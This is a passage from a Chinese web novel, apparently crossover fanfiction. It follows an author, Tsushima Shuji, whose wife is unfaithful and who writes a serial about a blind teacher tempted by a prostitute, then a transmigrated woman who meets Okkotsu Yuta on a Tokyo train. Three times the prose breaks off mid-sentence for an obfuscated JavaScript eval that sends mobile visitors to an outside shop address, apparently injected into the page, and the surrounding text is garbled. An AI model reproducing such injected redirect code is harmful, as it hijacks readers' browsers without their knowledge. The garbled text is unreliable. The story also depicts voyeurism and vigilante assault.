这不像他的身体,但河面倒映出他的脸,却真真切切是他十五岁时候的脸。 不得不说,那时候的他看上去真的非常阴郁,非常不讨喜。 随着时间流逝,他渐渐成为一个世俗意义上成功的作家,渐渐忘记了曾经十五岁时候的孤立排斥、忘记了当众被父亲呵斥时候的羞赧难看。 他看着河里的自己,那双阴鸷的,死寂的眼睛死死盯着他,嘴一张一合,发出稚嫩的嗓音: “别逃避了,这正是你本来的样子,丑恶得令人作呕,被人背叛,理所当然。” “不如说,装痴卖傻活下去的你,真的还是你自己吗?” “这个垃圾场一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051896|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容纳着精神病,怪物,恶徒,和麻木的木偶的世界,还有存在的必要吗?你的心里,真的还相信这世界还有救吗?” 不,不是这样的! 津岛修治捂住耳朵,痛恨地瞪着河面的倒影。 十五岁的他沉在河里,好像看透了他的内心一样,苍白的脸上扯出讥诮的笑容,嗓音愉悦地宣告。 “我等着你,长久长久地等着你,津岛修治,我们这种人,下场只有两个——” “亲手毁灭世界,或者,亲手毁灭自己。” 你胡说!! 津岛修治挺身而起,大汗淋漓地从噩梦中醒来。 …… …… 深秋之际,上司几太在杂志上发表了一篇连载小说的开头,《盲妻》。 【浅海纯子是多么美丽的一个学生,即使他的眼睛被上天夺走,无缘得见她因羞涩而红润的青春脸颊,行走时被微风吹起的外套半遮半露的圆润而丰腴的臂膀。】 【不过,值得庆幸的是,上天垂怜,他仍旧保有一双灵敏的,甚至比常人更灵敏的耳朵,可以用来详尽地捕捉她细细的,可怜的,犹如纯洁的婴儿啼哭时净化身心的嗓音。】 【这让他想到了自己的妻子。】 【这就是常人所说的“不知全貌,未可置评”了,旁人羡慕她有一个细心体贴的妻子,可又有谁能发发善心,设身处地把他从这无爱的冷窖里拽出去呢?】 【一想到让人烦躁的婚姻,他就忍不住想喝酒,又一场酩酊大醉彻彻底底洗刷掉所有恼人的烦忧。】 【纯子是个太单纯的孩子,他绝不可能把这些疲惫又绝情的琐事带给她,更何况,虽然他并不爱谷飨加奈子,但要他转而去爱浅海纯子,那他也是万万不肯的。】 【‘要不……去花街?’】 【这个念头像被魔鬼抛出的诱饵一样,随着花街的脂粉味儿一起被祂吹进小市秀树的鼻腔里。】 【“真好看啊……小市先生。”】 【“果然是名不虚传的美男子,要是能让我摸摸就好了,如果能躺在他怀里的话,不要钱也可以啊。”】 【“呀,他的手腕好瘦,摸起来一定很舒服。”】 【花街上的女人言语轻佻,眼神火辣而大胆。】 【某种意义上,他和她们是一样的。】 【小市秀树想。】 【他,和她们,都像一群将死的鲫鱼。被塞在狭窄的大缸子里,尾巴挨着尾巴,鱼鳍挤着鱼鳍,困在方寸天地内,疲惫而无望地数着未来的肉眼可见的无聊日子过活。】 【想到这一点,他就觉得这些女人可怜,他并不把和她们喝酒当成什么背叛婚姻的大事,这些可怜的家伙,哪里能算上人呢?】 【可惜的是——虽然花街的女人对他很热情,但从来也没有人主动邀请他春风一度。所有人,包括花街女人都知道——俊秀的小市先生有妻子,而且和他的妻子十分恩爱。】 【他们的故事在小镇里很有名。】 【每家每户的老人,在提起这对幼年定亲,结婚已久的夫妇时,都会大谈特谈他们明智的,可怜的,还没享到福就早逝的父母,随即以这对夫妻的幸福论证“老人的智慧,比传闻中的妖怪还有预见性。”】 【有人说,如果谁破坏了这桩“神圣而甜蜜的”婚姻,破坏了“老人的智慧”,破坏了小镇上爷爷奶奶们“金口玉言”板上钉钉定下的事实,足以被所有爷爷奶奶用麻绳捆住胳膊,吊在绞刑架上暴晒三天。】 【而这种默契,就在某一天被一个大胆的妓女打破了。】 【“小市先生……”】 【他照常路过花街时,一个妓女叫住了他。】 【“您为何一直皱眉呢?看了真叫人难过,如果可以的话,我真想为您抚平心里恼人的烦忧啊……”】 【她的声音温柔又黏腻,混着恭维和谄媚,拉着他手臂的手冰冷得可怕,让小市秀树忍不住想起了躺在砧板上半死不活的鲤鱼,还有它干瘪粗粝的鳞片。】 【“秋夜寒凉,还是早点进屋吧。”】 【他腻烦地拉开她的手,抓起盲杖,离开了花街。】 【自此之后,每次他上班路过花街,都能听到这个温柔又甜腻的声音,简直像围着花儿的蜜蜂一样嗡嗡不停。】 这篇未完的短篇一改上司几太往常波谲云诡的风格,抑郁颓废,华丽哀伤,尽然全是一副大雨淋漓之潮湿感。 令人惊讶的是,在这样一个崇拜物哀之美的国家,这篇短文毫无缘由地,一炮而红。 7. 妻子,朋友,我 银座的居酒屋很多,便宜的更多。 150日元一杯的啤酒,50日元一串的烧鸟,更便宜些的也不是没有,只不过那些东西的材料,不能保证吃下去肠胃还能健康运作了。 只不过是用重油重盐的廉价调料欺骗味蕾,不过,这世上大部分快乐的事不都是如此吗? 欺骗眼睛,欺骗嘴巴,欺骗身体,消耗健康,获得精神上的快乐。 真正健康又快乐的事,大部分又需要消耗钱财。 所以说,对于需要工作八个小时甚至更多维生的人来说,快乐和健康,是相对的反义词。 此刻,银座最普通的一家居酒屋里,挤着醉醺醺的一群醉鬼。 “喂喂喂,炒面一份——二十五号——出锅——” 柜台后面炒面的老板扯着嗓子大喊。 “来啦,二十五号炒面一份!” 热腾腾的香气飘到天花板上,他的女儿穿着围裙帮忙收杯子碗筷,目光却时不时瞥向柜台角落坐着的两个人。 尤其是其中气质颓丧的黑发青年。 她注意他很久了,每次上酒的时候都会偷偷给他多一点,倒得啤酒花都要溢出来了。 也不是想得到什么。 对她这个年纪来说,光是心中暗暗思索目光相交的一瞬间,浅薄的甜蜜就足以满足她天真的脑袋。 而津岛修治已经能完全无视类似的目光了,只是理所当然啜饮着满当当的啤酒杯,眉头紧皱。 “噗,哈哈哈哈哈哈,你的意思是,你和一个漂亮的女人盖着被子纯聊天一整个晚上,不仅什么都没发生,甚至连人家的名字都不知道??” 他身边的堀木笑得前仰后合,大力拍着桌子,些许酒水从杯子里跳出来,洒在桌面上。 “堀木先生!”柜台后红着脸的少女一拍桌子,用圆圆的杏眼生气地盯着他, “好好好,知道了,错了,我一会儿就收拾!” 朗声回应了少女的嗔怒,堀木正雄摸了摸眼角笑出来的泪水:“你这家伙,都结婚了还这么羞涩可不行,盖着被子纯聊天,哈哈,我上国中的时候都不会这么纯洁!” “说得你好像国中的时候有女朋友一样。” “诶,你这话就说错了,没有女朋友就没有开过房吗?你真是个思想一点都不‘先进’的人呢,也只有温柔久留美能受得了你吧,幸运的家伙。” “别提她了。” “诶,怎么了,和久留美吵架了?”堀木凑近,睁大眼睛,“说说嘛,说说嘛!” 这个只在乎自己的混蛋!早知道就不应邀和他一起喝酒了! 津岛修治灌了一口酒,转过身去不理他了。 “诶诶,别生气嘛,”他讪讪地拍了拍生气的津岛修治的肩膀。 “那句话怎么说来着?有坏事就有好事,有好事就有坏事呀!虽然你被骗了一晚上,但好消息不也有吗?” “《盲妻》的连载部分我可是看过了啊,津岛,你真行啊,不声不响就写了这么厉害的一篇小说,现在整个出版社都在讨论你这篇小说呢,一个个的,都在说‘和津岛以前诡异颓废的风格完全不同,简直像完全变了一个人似的’!” 前端日子,这家伙不知道到底走了什么狗屎运,竟然一改写作风格,写出了《盲妻》这样的作品。 哪怕只是一个开头,也迅速地席卷了整个畅销文学界,从一个籍籍无名的作家,一夜之间变成了受人追捧的大作家了! 堀木大饮一口啤酒,满足地叹息一声: “我看啊,你是完全要火了嘛!没有完结就被发表了出去,眼见要成为大作家咯,一开始,我在编辑社里见到瑟瑟发抖的你的时候就有这种预感,你以后肯定会成为一个大作家的啊津岛!所谓——文豪是也~” “那叫‘祸兮福之所倚’……” “福什么的,祸什么的,谁知道呢?反正,我看你这种人快要变成大人物了呀,只有大人物的烦恼才会是没睡到想要的女人嘛!” 才不是。 津岛修治烦闷地灌了口啤酒,酒精冲上大脑的洪流,让他烦闷的心寻到了一秒喘息之机。 他的遗憾根本不是什么女人,也根本不欣喜于《盲妻》的爆火,相反,他惊恐到了极点—— 就像一个吊在悬崖下的人,见到摇摇欲坠的雪崩一样。 那种死到临头的惊恐,生死存亡的时刻,时时刻刻把他脆弱的心放在油锅上不停地煎熬啊! 无法对他人言说的悲伤如同大雪一般覆盖在他的心上,要是说出来的话未免会被别人称作“惺惺作态”,“得了便宜而卖乖”,说不准还会因此有完全陌生的人恨上他。 津岛修治惶惶不得终日,但是在出版社,在居酒屋,面对熟悉的人们,面对熟悉的街景,纵使心中已经被恐惧和愁悲占满。 “堀木,你简直是个混蛋,根本不理解我的烦闷!” 他绝望,绝望到几乎要呻i吟起来。 无论如何借酒消愁,眼前所见的全是暗无天日的的未来。 从今往后的日子该怎么过呢? 《盲妻》只不过是他的灵光一闪,那灵光早已随着昨天一起消失了,剩下零落的灰烬,纵使再苦苦找寻,他贫乏的脑袋也没办法挤出任何一个字了。 他,津岛修治,完全是个靠运气走到现在的人啊! “哈?混蛋?你这忘恩负义的癞蛤蟆。” 堀木正雄醉兮兮地狠拍了一下他的后背,咧开嘴大笑,“我是混蛋?别忘了,整个编辑部,也就我这么一个混蛋愿意跟你这个怪胎做朋友啊!” “当初,要不是我借你了一万块钱摆脱追债的,你怎么可能当上作家,更别说娶到久留美,成为大作家?” “现在好了,尝到点甜头,就想和我这唯一的朋友划两路了?” 明明他是笑着的,但津岛修治完全不可抑制地陷入了恐惧中。 对人的恐惧一下子战胜了酒意,让他的心浸泡在后悔的苦水里,酸涩饱胀。 他怎么能忘记,人是一种多么可怕的,说变脸就变脸的生物啊! “怎么可能!” 黑发的青年大大地灌了一杯酒,扯出一个友好的笑:“你对我的帮助,我一生也不可能忘记的呀!这样吧,这单我请了,就当是对我刚才说的话的赔罪!” “哼哼,你这家伙,真是越来越‘知事故’了。” 就在这种虚假的友好里,津岛修治掏出钱包,为“好朋友”付了钱,再一次地。 他再也不敢向别人倾诉自己的烦恼了! 一场大醉,完全无用。 他心中的烦闷和绝望一成都没有排解,反而闷在心底越来越腐臭,何等令人绝望! 怀着满腹心事,津岛修治醉醺醺地回了家。 “啊,修治,你回来啦!” 田仲久留美从厨房探出头,笑得眼角眯起,手里还握着粘着油渍的铲子。 厨房的灯光把她照得很好看。 她是个美丽知性的编辑,体型娇小,长相温柔,留着一头披肩长发,笑起来像苹果一样可爱。 虽然长相只能算清秀,但是由于打理得当,讲话轻声细语,很少和人生气,种种优点也足以弥补这对夫妻外表上的差距了。 谁知道会背叛婚姻,背叛伴侣,为了利益结婚的——竟然不是长相风流吸引女人的津岛修治,而是外表甜美,性格温和的田仲久留美呢? 由此可见,眼睛见到的也并非全是真实,人心中的成见是座让人目盲的大山啊。 “嗯,回来了。” 津岛修治冷淡地点头,把外套挂在玄关,从冰箱里拿了一罐冰饮料出来。 田仲久留美穿着围裙,笑嘻嘻地走了出来,抽走了他手里的冰可乐:“刚喝完酒,别喝冰的,对胃不好。” “没事,没喝多少。” 听他这么说,田仲久留美脸上的笑稍微收敛了一点,把手放在他额头上,担忧道:“修治……你最近怎么了?不开心吗?还是生病了?《盲妻》的连载不是很好吗?” “和那个没关系……算了,我累了,睡觉吧。”他避开了她抚摸额头的手,径直走进卧室,潦草洗漱了一番躺在床上。 听见门打开的动静,他赶紧闭上眼,装作已经睡熟的样子。 “真是的,倒头就睡会头痛的啊。” 田仲久留美抱怨了一句,打开空调,打开床头的保温壶加了点水,关上灯,躺在睡着的青年身边。 黑暗笼罩整个房间,窗外路灯的光芒蒙蒙地映亮窗户,照在津岛修治眼底,他清晰地听到旁边的女人翻身窸窣动静,似乎有些辗转反侧,难以入眠。 或许她困惑于他突然改变的态度吧,但是,他真的没办法装作什么都没有发生的样子,还和以前一样做一个好好丈夫了,维持现状,已经花费掉了他全部的勇气。 是的,他是个胆小鬼,尽管做了故事里的苦主,自身也好像有了自保的薪资,但是还是没有勇气起身给出轨的妻子一个冷脸的勇气。 他恐惧于女人瞬息万变的心思和脸色,只要想象一下,他揭破田仲久留美出轨的事实,被她陡然改变的眼神冰冷地盯着的时候,浑身上下就会因为这个设想瑟瑟发抖。 哪怕他是个高大的男人,田仲久留美只是个矮小的女人,这种心理上的恐惧也完全消除不了。 你总不能寄希望于一个生活在外星人中的胆小的人,胆敢挺身而出,用锋利的武器刺向十八个眼睛,没有形体,恐怖地尖笑着的怪物吧? 在津岛修治眼里,女人就是这样的怪物。 酒意上涌,完全没吃东西,反而被灌了一肚子冰啤酒的胃开始反抗,哪怕躺在床上,也能听见它呻i吟的动静。 这细微的动静在他的耳朵里就像原子弹爆炸一样如雷贯耳,瞬间戳破了他装睡的事实,巨大的恐惧化成浪潮淹没了津岛修治,让他忍不住用力抓住被子的一角。 被发现了吗?自己逃避的事实? 她会怎么做?会说什么?会询问他到底为什么要装睡吗? 不,千万不要! 这种时候,他被酒精搅得一团乱的脑袋里情不自禁浮现出的,竟然是这张床上发生过的事,一幕幕,一声声,如同幻灯片一样在他眼前播放。他的心被这凌迟般的回放割得千疮百孔。 “修治……还没睡吗……” 就在这时候,一条白皙的胳膊从身后缓缓伸出,轻柔地搭在他的脖颈,热腾腾的温度刺得他皮肤上蹦出一层鸡皮疙瘩。 这条胳膊白皙,柔软,搭在脖颈上的时候,似乎能从肩头丝滑地滑落颈窝,带着沐浴露的气味。 柔声娇细的语气,啊,多么熟悉!在那个冰冷的夜晚,荒i淫的夜晚,她曾经用相同的语气,像一条蛇一样缠在另一个男人身上,用同样的细弱的声音嘶嘶吐信,吐出沾了毒的话语! 津岛修治浑身颤抖起来,从脖颈处源源不断传来的暖意,简直像死神倒出来的岩浆一样滚烫。 “修治……?” 灼热的吐息喷在后颈。 神啊,怜惜怜惜我这个可怜的男人吧! 请将我从毒蛇的吐息中解救出来,如果我们曾经在您面前宣誓的海誓山盟还记录在神圣庄严的记簿上的话,请降下惩罚,处置这个不贞的妻子! 像被雄鹰盯上的兔子一样瑟瑟发抖。 津岛修治感到胃部一阵翻腾,所有吞进胃里的酒一齐造了反,冲击食道,冲上喉咙—— 津岛修治再也忍不住了,掀开被子,冲进厕所里,抱着马桶大吐特吐。 “呕——” 听着从浴室里传来的呕吐声,田仲久留美起身,坐在床上,神色疑惑。 月光洒在她白皙的臂膀上,反射银白色的光芒,就像另一轮月亮。 呕吐,所有内脏皱在一起,一只无形的大手攥住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051897|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的肚子,毫不留情地用力挤压,就像捏爆一只灌满水的水球,多余的液体从他的喉咙口吐出,淅淅沥沥落进下水道。 不知道吐了多久,直到胃里什么东西都吐不出来,喉咙口火烧火燎地疼痛,伏在马桶上的青年才逐渐平息了喘息。 “哈……哈……” 他静静注视着黑洞洞的下水道口,苍白无力地笑了。 神的惩罚没有降临在妻子身上,反而降临在他身上了吗? 为什么? 虽然忍不住质问,但津岛修治心中却何尝没有一个隐秘的声音踽踽私语? “这都是你应得的!” 昨晚的一夜,在他的心中深深扎根。 像那魔性般美丽的女人,和他笔下的主角一模一样的女人,躺在她的怀里入睡之时,难道他就没有一瞬间想背叛婚姻,背叛已经与他拔刀相向的妻子吗? 是的,他也背离了婚姻神圣的誓言。 哪怕肉i体没有,精神上的依恋难道就不算依恋了吗? 这惩罚是他该受着的! “呃……” 诡异的天使降临了。 一想到那猩红的唇,纯黑的发,丝绸般柔顺的皮肤和圣母玛利亚般宽容的女人,他被酒精搞得一团乱的脑袋就得意了,沉醉了。 和田仲久留美不一样,自由——自由的女人! 唰—— 看不见的白光从他眼前闪过! 灵光,抓不住的灵光,戏剧性地出现在他被酒精和呕吐搞得一团乱的脑袋里——多么荒谬! “纸……给我纸……快……” 他踉跄着站起,颤抖着脊背,不知道从哪儿翻出一堆废纸来,趴在卫生间的地面上,手指颤抖地写字。 【可是啊,小室秀树毕竟是个有文凭的体面人,就算眼盲了,但他的心不盲,面对浅海纯子,这样一个可爱,可亲,可敬的学生,教室的职业道德时刻让他警戒着,不能让她行差踏错一步,迈入不可挽回的错误道路。】 【然而,谁能在一个美丽,青春,天真的女生崇拜的眼神中保持向来的谦逊?何况小室秀树是个看不见的,被托付给妻子的,被称为‘妻子’的累赘的盲人?】 【浅海纯子的吹捧让他飘飘然了,竟然反常地将自己与妻子剥离开,一项项对比起来。】 【论长相?小室秀树是公认的美玉有瑕,翩翩贵公子的模样,仅仅盲了一双眼而已。】 【论对家庭的贡献?加奈子只有个缝补衣服,替需要的人家做做衣裳的活计,自然比不上小室秀树正儿八经教书的工作,月月领薪资不说,走在路上也格外受村人尊敬一点。】 【论性格?加奈子是个太过操心的女人,没有哪个丈夫能受得了她那嘘寒问暖。关怀备至的照看方法?唯有无能之人才享受安宁。】 【小室秀树自认为自己是个除了眼睛之外不比别人差的男人,自然觉得加奈子的态度让人不喜。】 【这么一大通比下来,小室秀树蠢蠢欲动的心思好像找到了一点实质性的依据似的,从那虚无缥缈的道德谴责里老鼠似的逃出来,偷偷呼了一大口气。】 【“秀树桑,您和您的妻子完全不相配啊!”】 【“秀树桑,如果您能看得见就好了,这么俊秀的眉眼,只能由我一点点告诉您,未必也太可惜了,说出来的总是单薄了几分。”】 【“秀树桑……”】 【无数的女人都这么说过。】 【久而久之,小室秀树的心像飘摇的落叶一样,随着秋风渐渐松动起来。】 “啪”的一声,洗漱间的灯被打开了。 穿着睡衣的田仲久留美扶着门框,忧心忡忡地盯着趴在地上奋笔疾书,神色专注,脸颊潮红的青年,担忧地喊他:“修治,地板上太凉了,还是去屋子里写吧。” 她那极富特色的娇细的嗓音,一下子就唤醒了沉醉在故事中的津岛修治。 妻子、妻子! 津岛修治的妻子是田仲久留美,小室秀树的妻子是谷郷加奈子,这荒谬的关系! 婚姻究竟是什么,带给了他短暂的幸福,和无尽的痛苦! 她是谁的妻子? 她是谁的妻子! 瘦削的美丽青年伏在地上,伏在圆形的灯光下,如一只残蛾般沉默,贴着凌乱的草纸,久久不语。 “……要是有杯酒就好了。” 忽地,他仰起头,狼狈地朝着清秀可爱的妻子提出了要求:“久留美,给我拿杯酒来吧。” “可是你刚吐了……” “没关系的,没关系,我只是稍微喝一杯而已啦,你知道的,久留美,有时候灵感就是需要一点狂气才能激发出来呀。” 他哀戚地抓住她的衣角,昳丽精致的脸上是任何女人都拒绝不了的楚楚可怜之色。 哪个女人能拒绝一个哀求她的津岛修治呢? “……好吧。” 最终,田仲久留美还是没能拗过他,起身去厨房给他倒酒去了。 散发着淡淡的酸味和酒精味的洗漱间里,只剩下了滋滋响的灯泡,还有一个跪趴在地上奋笔疾书的瘦削男人。 简直像个什么恐怖电影里才会出现的景象。 黑发的青年趴在地上,铅笔在纸上“唰唰”地移动。 一个又一个文字毫不犹豫地从他指尖流淌而出,他写得很急,就像在和什么东西比拼速度似的,字变形了也来不及管。 “修治,这么晚了只是喝酒也太伤身体了,我顺便煎了点饼,好歹垫垫……” 田仲久留美走进洗漱间的时候,高大的青年颤抖着落下最后一笔。 【那天,小室秀树终于,终于和那很会哄人的妓女缔结了可耻的,令人作呕的关系。】 一股报复的快感猛地涌上心头,他从地上爬了起来,接过妻子递过来的酒杯,温柔地对她笑笑。 仰起头来,一饮而尽。 8. 初见乙骨 与此同时,还不知道自己一晚上就彻底改变了某人命运的女人,也就是次木爱,打着哈欠,从床上坐了起来。 窗外,听不到叽叽喳喳的鸟叫声,只有一辆又一辆汽车从街道路过发出的低沉的嗡嗡声,人们路过店门口时,隐约的交谈声。 嘈杂又热闹的市井声音,鲜活的,拥挤的。 一下子就把次木爱从某种小镇片场中拽到了时尚都市片场中。 “唔……” 次木爱揉了揉眼睛,起身,拉开窗帘,伸手略微挡了一下刺目的阳光,再打一个大大的哈欠。 “哈啊——” 这是她离开津岛修治的世界的第一天,也是她穿越的第二天。 嗯…… 要是问她一觉醒来,发现自己又换了个地方的感觉怎么样? 上午的阳光洒入,温暖灿烂。 她抬眸,透过玻璃,见到远方矗立着一座非常眼熟的塔——东京塔。 这里是东京,最繁华的都市,纸醉金迷。 猛地从乡下地方跑到这种大都市来,次木爱还有点不适应。 回忆起来到这里的过程,她还有点恍如梦中。 昨天早上,她先津岛修治一步醒了,想着去洗漱一下吧。 只是推开了卫生间的门,下一秒就踏入了这间空荡荡的房子。 然后随着门在她身后“砰”一声关上,她彻底被关在这陌生的屋子里了。 “哈啊~好困。” 次木爱懒洋洋打了个哈欠,换了身新的裙子,抱起放在枕边的笔记本,找了个倒在地上的椅子,扶起来,拍了拍灰尘,坐在上面,翻开笔记本。 首先映入眼帘的是一个倒计时。 【下次可进入平行世界:24h】 【送你的小家,爱。】 【希望你能在新的世界,开始新的生活】 24h…… 又是这样神神秘秘的留言。 莫名其妙的穿越,莫名其妙的留言。 如果换个人遇到这些事的话,一定会疑惑,不解,甚至恐惧不安于这莫测的经历。 但好就好在,来的是次木爱。 她的目光在留言上顿了顿,轻飘飘翻过这些似是而非的留言,最后一页出现了新东西。 【家庭成员名单】。 【家长】 【核心家庭成员】 【正式家庭成员】 【预备家庭成员】 里面暂时只有一个名字——津岛修治。 剩下的全是一片模糊。 她能通过这个家庭名单借用家庭成员的能力…… 次木爱若有所思握了握依旧无力的拳头,在空气里挥了挥。 来源于【津岛修治】的能力似乎叫【士兵之死】。 昨天她躺在床上试了一下,发动之后倒是什么感觉都没有。 而且……借用能力? “我要一个作家的能力有什么用?成为作家吗?”次木爱合上笔记本,有些无奈。 谢谢,虽然她觉得津岛写的东西的确蛮好看的……但她并不想因为写不出文章就大吵大闹。 精神病也是要面子的。 “士兵之死……?” 不死心的次木爱再次默默发动了【士兵之死】的能力,和毫无变化的世界面面相觑…… 床还是床,柜子还是柜子,并没有什么玄幻事件发生。 呵呵,她就不该对此保持太多期待感。 算了,弄不明白就先放着吧,总有一天会弄明白的。 她无奈地收好笔记本,从卧室推门而出。 ——走过一道长长的走廊,就能来到一片新的空间: 深棕色的木地板整齐铺设在这大约40平米的大厅,四张普通的四脚桌子整齐地摆在店铺内部 工作台靠在最深处的墙边,墙上挂着一张四四方方的黑板。 淡淡的咖啡香气弥漫在这间屋子里。 就是装修有点太廉价了。 次木爱靠在墙上打哈欠,有些无语。 往好里说,极简侘寂风。 实话实说,那就是“破产卷钱跑路风”。 跑路跑得太快,甚至连机器什么的都没有卷走。 这家咖啡店同样是开局就送,入口固定在东京一处热闹的商业街,是处旺铺。 额外能力,她能通过开任意一扇门进入咖啡店内——即使身在十万八千里外也一样。 不过,每次使用这传送功能,都有为期一周的冷却——已经算很大的金手指了。 次木爱没有非要秒天秒地的野望,平平淡淡开个咖啡店,慢慢组建自己的家庭,就是她重生到这个世界后的唯一心愿。 一切都要慢慢来。 只是…… “呃……这个怎么用?” 次木爱好奇地踮起脚尖,使出全身的力气压下了不知名机器的压杆—— 无事发生。 她丧气地松开手。 虽然按照大众的想法,像她这种社畜朝夕和这种咖啡因小饮料亲密相处。 但天知道,她迄今为止,喝的最多的咖啡就这是来自便利店咖啡机的匠心机磨…… 甚至磨不磨的,还有待商榷。 从0开始学做咖啡……是不是有点晚了? 不过…… 如果她可以再招收一些正式的家庭成员的话,是不是就可以让他们帮忙经营咖啡馆了? 想象了一下津岛修治穿着店员服,笑容满面上咖啡的情景…… “呃……” 即使是她也打了个寒颤。 “如果有机会的话,还是雇个店员来干这种事吧。” 次木爱悻悻关上空荡荡的柜子。 至于现在? 她要拿身上仅有的一点钱,出去买点生存物资了。 虽然穿越了,但很可惜她并没能变成什么超凡生物,还遵循着一条地球生物铁律—— 人不吃饭,就会死。 她把目光转向门外。 那里行人行色匆匆 ,车辆穿梭,有着高高的楼和高高的电线杆,一副熟悉的景象…… 东京啊。 次木爱眨眨眼,捡起放在桌子上的帽子扣在头上,如瀑般的黑发滚落。 她深吸一口气,推开了紧闭的玻璃门,门框上锈蚀的铃铛发出艰难的“叮铃”声。 她搭上了前往足立区的地铁。 足立区…… 一个她自杀前曾长久居住,几乎成为了第二故乡的地方。 也是一个她最熟悉,最方便确认自己到底是穿越,还是重生的地方。 —— 电车载着这异世界的来客在熟悉又陌生的世界穿梭。 她静静抓着把手,身体随着电车的摇晃而轻微摆动。 在一车疲惫低头玩手机的上班族里,抱着本书,长发飘飘,忧郁地注视窗外一言不发的女人十分显眼。 外面的阳光微微照射进来,在她身上分出细碎的光影。 细细看去,她的气质犹如寂静的深潭——安静,沉谧,幽蓝如油的水面,时不时冒出两个沉思的泡泡,是她思考的闪光…… 一旦注意到那略微冷淡的、与世隔离的意味,她的美丽便会无限的增大,甚至到了无法忽略,强硬的,璀璨夺目的程度。 [大家久等了,「3」号站台,开往「神奈川县」的方向的电车即将靠站,下一站停靠「足立区」」 「车辆进站危险,请退到黄线以外。] 伴随着站台播报,乙骨忧太背着咒具包踏进车门。 他一下子就注意到了这个美丽到异常的女人,不过身上没有咒具,也感受不到咒力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051898|194812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 长成这样,大概真的只是天生的吧。 他收回目光。 “抱歉,可以让一下吗?” 大概他身上散发的阴郁气息也让人不舒服,周围的人纷纷让开,给他让出一条路来。 他站到离门比较远,人少的地方。 “谢谢。” 虽然被人避之不及,没有人在乎他的谢谢,但面色苍白的少年还是拉着领子,低声道谢。 靠这些人太近的话,他的能力会给周围的所有普通人带来危险。 久而久之,他也习惯了。 其实被人恐惧也挺好的。 哪怕任务途中不得不乘坐交通工具,也会在整个过程中格外注意避开人——尤其是可能让里香不舒服的女人。 如果他们自己也避开的话,倒是省得他主动避让。 他的周围肉眼可见空出一大片来,就像滴进细菌培养皿的一滴杀毒剂一样。 [大家久等了,「3」号站台,开往「足立区」方向的有轨电车即将发车,为了保证安全,请不要追车。] 随着机械音的播报,车门缓缓关闭,列车发动,前往下一站。 窗外的景色又逐渐拉扯,变成一道一道飞驰的色彩,均匀地涂抹在玻璃上,就像一幅色彩艳丽的风景画。 次木爱罕见地什么的没想,只是盯着窗外飞驰而过的景色发呆,美丽的景色,很好地放松了她的心情。 等等…… 但是乙骨忧太注意到了。 坐在她面前的一个上班族双腿不自然地分开。 手肘撑在膝盖上,右手握着手机,屏幕向下不停摇晃。 不仅如此注意到了,凭借着优越的视力,他还隐约能看到那人朝下的屏幕,发着微光,没有锁屏。 这个动作…… 太过分了! 不知怎么脑袋一热,少年抓起咒具包上前两步,挡在她和上班族中间。 糟了! 他心中一紧,紧张地用余光关注自己的影子。 让他惊讶的事发生了,里香竟然安安静静地待在影子里,既没有生气,也没有对她产生敌意,似乎…… 并没有不满? …… 天色忽然变暗。 “诶?” 次木爱回过神,面前所有的光都被一堵墙挡的严严实实…… 哦,不是墙,好像是个人来的。 她毫无波澜地仰头:“请问……?” 这个距离,是否稍微有些太近了呢? 她暂且还没有到需要靠着人才能坐电车的年纪吧。 “……啊,抱歉。” 乙骨忧太瞥了一眼身后,不着痕迹地后退一步,顺便用自己的刀鞘打掉了身后的人的手机。 啪嗒一声,亮着屏的手机落在地上。 “诶,你的手机。”他装作不好意思地捡起手机,手指一滑,直接连备份一起,删掉了所有的照片。 “要拿好手机啊,要是一不小心掉到缝隙里,就不好捡了呢。” 他直勾勾的盯着上班族,意有所指。 “……谢谢。” 自知理亏的上班族,面对1米78的少年连个屁也不敢放,接过手机,灰溜溜地跑了。 真是的…… 次木爱若有所思地眯起眼睛。 不论什么地方,都会有这种人渣呢。 真烦人。 她松开拉环,塞进他手里,“谢谢你了,小朋友。” “再见,小朋友。” 看上去比他大不了多少的女人挥挥手,满脸欣慰地拍了拍他的肩膀,幽深的狭长眼睛弯弯,和他“拜拜”。 然后裙裾蹁跹,像只蝴蝶一样轻巧地走出了车门,留下一道幽幽的香气。 手中的拉环还带着一点温暖的余温,乙骨忧太愣了一下。 9. 异能力,士兵之死 下了车的次木爱一甩头发,尾随在上班族后面,趁着他上厕所的时候狠狠敲了一闷棍。 “呼——这下好多了。” 她神清气爽地拍了拍手,随性戴好口罩,从车站里走了出来。 删掉所有照片之后,她耸了耸肩,随手把手机丢到了下水道里。 “犯错了的话,只受这么点惩罚可不行,小孩子还是太心软了。” 见过形形色色的人渣的她,比此刻仍怀揣着天真希望的小孩子,更懂得该如何对付这些下流的人。 